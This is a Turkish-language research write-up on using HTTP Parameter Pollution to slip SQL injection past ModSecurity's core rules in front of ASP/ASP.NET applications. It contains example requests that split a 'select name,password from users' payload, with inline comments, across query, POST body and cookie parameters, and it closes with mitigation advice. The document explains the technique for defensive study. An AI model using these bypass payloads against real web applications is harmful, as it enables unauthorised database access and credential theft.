Berk Sağıroglu

Security Researcher

HTTP Parametre Kirliliği ile Web Uygulaması Güvenlik Duvarlarını Atlama

sagirogluberk@gmail.com

05.07.2019

Özet:

Web Uygulaması Güvenlik Duvarları (WAF'ler) HTTP trafiğini izler ve bir beyaz liste veya kara liste kural tabanını temel alan uygulama düzeyinde saldırıları engellemeye çalışır.

Korunmaya çalıştıkları web sunucusundaki uygulamadan farklı olabilecek kendi HTTP uygulamalarına sahiptirler.

Protokolde daha ince detayların ve anormalliklerin WAF ve web sunucusu tarafından nasıl işlendiğine bağlı olarak, aynı HTTP paketi bu iki cihaz tarafından farklı şekillerde yorumlanabilir.

Bu davranış genellikle “Empedans Uyuşmazlığı” olarak adlandırılır ve güvenlik etkileri filtre bypass saldırılarıdır. Empedans uyumsuzluğuna karşı saldırılar geçmişte birçok WAF'de keşfedildi ve ayrıca TCP / IP yığını uygulamasındaki farkın hedeflendiği ağ güvenlik duvarlarını da etkiliyor.

Şimdiye kadar çok az dikkat çeken veya hiç dikkat çekmeyen bir empedans uyumsuzluğu vardır; bu, aynı isimde birden fazla GET / POST / Cookie parametresinin tek bir HTTP isteğinde bulunmasının etkisidir. Birden fazla yinelenen parametre göndermek, Luca Carettoni ve Stefano Di Paola tarafından HTTP Parametre Kirliliği olarak adlandırıldı.

Bu yazıda, IIS üzerinde çalışan ASP ve ASP.NET uygulamalarının aynı adda birden fazla HTTP parametresi olan istekleri aldıklarında nasıl davrandıklarını tartışıyoruz. Ve bu davranışın, örnek olarak varsayılan Çekirdek Kurallarında çalışan popüler Açık Kaynak WAF, ModSecurity kullanarak Web Uygulaması Güvenlik Duvarlarını atlamak için nasıl kullanılabileceği.

Bu yazının geri kalanında "HTTP parametreleri", aksi açıkça belirtilmediği sürece GET, POST ve Cookie parametrelerini ve "ASP / ASP.NET uygulamaları", IIS 6'da çalışan ASP / ASP.NET uygulamalarına atıfta bulunur.

ASP/ASP.Net’s davranışı:

Aynı isteme sahip birden fazla GET / POST / Cookie parametresi HTTP isteğinde ASP ve ASP.NET uygulamalarına geçirildiğinde, bunlar bir dizi koleksiyonu olarak değerlendirilir. Bu, aralarındaki virgül ile birleştirilmiş değerlere yol açar.

Aşağıdaki HTTP isteğini göz önünde bulundurun:

```
POST /index.aspx?a=1&a=2
Host: www.example.com
Cookie: a=5; a=6
Content-Length: 7

a=3&a=4
```

İstek 1.0: Aynı adda birden çok parametreli örnek HTTP POST isteği

Bu istekte, 'a' parametresi bir kereden fazla mevcut ve sorguda, POST gövdesinde ve çerezde mevcut.

Bu istek ASP / ASP.NET uygulamalarına gönderilirse, sunucu tarafında 'a' değerinin oluşması ilginçtir.

ASP / ASP.NET, parametrenin her bir örneğinin değerini aralarında virgülle birleştirir.

Ve değerlerin sırası soldan sağadır, yani parametrenin ilk örneğinin değeri önce gelir, sonra ikincisi vb.

Ve isteğin farklı bölümleri arasında, querystring'deki değerler önce POST gövdesindeki değerler, ardından da Cookie'deki değerler gelir.

Yukarıdaki istekte, "a" nın değeri şöyle bir araya getirilir - "1,2,3,4,5,6".

ASP / ASP.NET'te istek parametrelerinin değerleri 'İstek' nesnesinin özelliklerinde saklanır.

Aşağıdaki özellikler istek parametreleri değerlerini alır:

1) Request.QueryString:

Hem ASP hem de ASP.NET'te mevcuttur ve hem GET hem de POST yöntemlerinin sorgulanmasında geçen parametrelerin değerlerini alır.

2) Request.Form:

Hem ASP hem de ASP.NET'te bulunur ve POST gövdesinde geçirilen parametrelerin değerlerini alır.

3) Request.Params:

Yalnızca ASP.NET'te kullanılabilir ve Querystring'de, POST gövdesinde ve Çerezlerden bu sırada verilen parametrelerin değerlerini alır. ASP.NET formunda alanların sunucu tarafı kontrolleri olarak kaydedilmesi gerekir, aksi takdirde POST gövdesindeki varlığı göz ardı edilir.

1.0 talebi durumunda, bu özelliklerin değerleri şöyle olacaktır:

Property	Value of the parameter	Conditions and Support
Request.Params["a"]	1,2,3,4,5,6	If 'a' was registered as a server-side control **ASP.NET Only**
Request.Params["a"]	1,2,5,6	If 'a' was not registered as a server-side control **ASP.NET Only**
Request.QueryString["a"]	1,2	**ASP and ASP.NET**
Request.Form["a"]	3,4	**ASP and ASP.NET**

Tablo 1.0: "İstek" nesnesinin farklı özelliklerinin değer oluşumları

ModSecurity’s:

ModSecurity'nin aynı isimdeki birden fazla parametreyi yorumlaması son derece basittir.

Aynı parametrenin her örneğini ayrı bir parametre olarak görür ve bu şekilde kural tabanına göre karşılaştırır.

İstek 1.0 olması durumunda, ModSecurity her bir “a” örneğinin değerini alır ve onu kural tabanına göre eşleştirir.

Yani, önce "1" ile ayrı ayrı, ardından "2" ile "6" kadar eşleşir.

Bu, ASP / ASP.NET'in bu istekleri işleme biçiminden çok farklıdır ve bu nedenle aynı istek ModSecurity ve ASP / ASP.NET tarafından iki çok farklı şekilde yorumlanır ve parametrenin değerleri üzerindeki anlam da her iki durumda da tamamen farklıdır.

Filtre Atlatma:

Davranıştaki bu fark, ModSecurity Çekirdek Kurallarındaki SQL Injection filtrelerini atlamak için kullanılabilir.

Basit Atak:

Aşağıdaki istek, bir SQL Injection saldırısı olarak ModSecurity Çekirdek Kuralları ile eşleşir ve cihaz tarafından engellenir:

```
http://www.example.com/search.aspx?q=select name,password from users
```

İstek 1.1: Bir URL parametresinde Basit SQL Enjeksiyonu

Aynı yük, aynı ismin birden fazla parametresine bölündüğünde ModSecurity bunu engelleyemez.

```
http://www.example.com/search.aspx?q=select name&q=password from users
```

İstek 1.2: Aynı adı taşıyan iki URL parametresine bölünmüş SQL Enjeksiyon yükü

İstek 1.2 sunucu tarafında da aynı etkiye sahiptir, çünkü ASP / ASP.NET kopya değerleri bir araya getirir.

ModSecurity'nin istek 1.2'yi yorumlaması:

```
q= select name
q= password from users
```

ASP / ASP.NET'in istek 1.2'yi yorumlaması:

```
q= select name,password from users
--------------------------------------------------------------------------------
Request.QueryString["q"] => select name,password from users
```

Bu saldırı bir POST değişkeninde benzer şekilde gerçekleştirilebilir:

```
POST /search.aspx
Host: www.example.com
Content-Length: 35

q=select name&q=password from users
```

İstek 1.3: Aynı isimde iki POST parametresine bölünmüş SQL Enjeksiyon yükü

ModSecurity'in istek 1.3 yorumu

```
q= select name
q= password from users
```

ASP / ASP.NET'in istek 1.3'ün yorumu şöyledir:

```
q= select name,password from users
--------------------------------------------------------------------------------
Request.Forms["q"] => select name,password from users
```

Satır İçi Yorumları Kullanma:

Hemen hemen tüm ASP / ASP.NET uygulamaları, arka uç veritabanı olarak MS SQL kullanır.

MS SQL, satır içi bir yorumun boşluk karakteri yerine kullanabileceği satır içi yorumları destekler.

Satır içi yorumlar, sunucu tarafından tanıtılan virgül artık geçersiz hale getirilebildiği için yük taşıma işlemini büyük ölçüde kolaylaştırır.

Daha önce tartışılan temel saldırı, aşağıda gösterildiği gibi satır içi yorumlar özelliği kullanılarak iyileştirilebilir:

```
http://www.example.com/search.aspx?q=select/*&q=*/name&q=password/*&q
=*/from/*&q=*/users
```

Request 1.4: SQL Injection payload with inline comments

İstek 1.4'ün yorumlanması:

```
q=select/*
q=*/name
q=password/*
q=*/from/*
q=*/users
```

ASP / ASP.NET'in istek 1.4'ün yorumlanması:

```
q= select/*,*/name,password/*,*/from/*,*/users
-----------------------------------------------------------------------------------
Request.QueryString["q"] => select/*,*/name,password/*,*/from/*,*/users
```

Hedef, HTTP parametre değerini toplamak için 'Request.Params' kullanan bir ASP.NET uygulamasıysa, yük yükü Querystring, POST gövdesi ve Çerez arasında bölünebilir.

Aşağıdaki istek, yükün nasıl bölündüğünü gösterir:

```
POST /index.aspx?q=select/*&q=*/name
Host: www.example.com
Cookie: q=*/users
Content-Length: 23

q=password/*&q=*/from/*
```

İstek 1.5: Tüm alanlara satır içi yorumlarla SQL Injection yükü

ModSecurity'nin istek 1.5 yorumu

```
q=select/*
 q=*/name
 q=password/*
 q=*/from/*
 q=*/users
```

ASP / ASP.NET'in istek 1.5'in yorumu:

```
q= select/*,*/name,password/*,*/from/*,*/users
---------------------------------------------------------------------------------------
Request.Params["q"] --> select/*,*/name,password/*,*/from/*,*/users
```

Şimdiye kadar açık olması gerekir ki, satır içi yorumlar özelliği, yük bölme sürecini çok esnek kılmaktadır.

Bir boşlukla bölünen her karakter, sembol veya kelime, bu teknik kullanılarak ayrı bir parametreye konulabilir.

Bu, ModSecurity'in kural tabanı ile eşleşmeye çalışırken bir kerede yalnızca tek bir kelimeye, karaktere veya sembole bakacağı anlamına gelir.

Bu, ModSecurity Çekirdek Kurallarındaki SQL Injection saldırısı için tüm imzaları atlamayı mümkün kılar.

Azaltma:

Bu saldırının en kolay şekilde azaltılması WAF için aynı parametrenin birden fazla örneğini tek bir HTTP isteğinde vermemek olacaktır. Bu, bu saldırının tüm çeşitlemelerini önleyecektir.

Ancak, bazı uygulamaların birden fazla yinelenen parametreye meşru bir ihtiyaç duyması nedeniyle bu her durumda mümkün olmayabilir. Ve aynı istekte aynı ismin birden fazla HTTP parametresini göndermek ve kabul etmek için tasarlanmış olabilirler.

Bu uygulamaları korumak için WAF, HTTP isteğini de web uygulamasının yaptığı gibi yorumlamalıdır.

Bu durumda çoklu GET / POST / Çerez parametrelerini aralarındaki virgül ile birleştirmek anlamına gelir.

Birleştirme sırası, yukarıda tartışılan ASP / ASP.NET uygulamalarınınkiyle aynı olmalıdır.

Ancak, burada göz önünde bulundurulması gereken önemli bir uyarı var.

ASP.NET uygulamalarında 'Request.Params' kullanıldığında, POST gövdesi verilerinin parametreye eklenmesi, sunucu tarafında kontrol olarak ilan edilmesine bağlıdır.

Buna uyum sağlamak için WAF, tablo 1.0'da gösterilen tüm kombinasyonlara değerler eklemelidir.

Notlar:

Bu tanıtım belgesinde açıklanan saldırılar, ModSecurity Core Rules v 2.5-1.6.1 kullanılarak ModSecurity v2.5.9'da test edilmiştir.

Bu versiyonlar bu yazıdaki en son versiyonlardı.

Saldırılar sadece ModSecurity'de test edilmiş olsa da, diğer Web Uygulama Güvenlik Duvarlarına karşı da etkili olabilirler.

HTTP Parametre Kirliliği yeni bir kavram olduğundan, bu alanda daha önce resmi çalışma yapılmayan ya da hiç olmadığı için çoğu WAF satıcısı / geliştiricisi bu saldırı hattını düşünmemiş olabilir.

Luca Carettoni'ye, bana çift parametrelerin kullanılması kavramını tanıttığı için teşekkür ederim. Bir PHP uygulaması olan DFLabs PTK için bir POC istismarının geliştirilmesinde bu tekniği çok etkili bir şekilde kullandı.

Yinelenen parametrelerin diğer uygulama ortamları üzerindeki etkilerini incelerken ASP & ASP.NET'in çok farklı davrandığını ve WAF bypassında kullanılabileceğini buldum.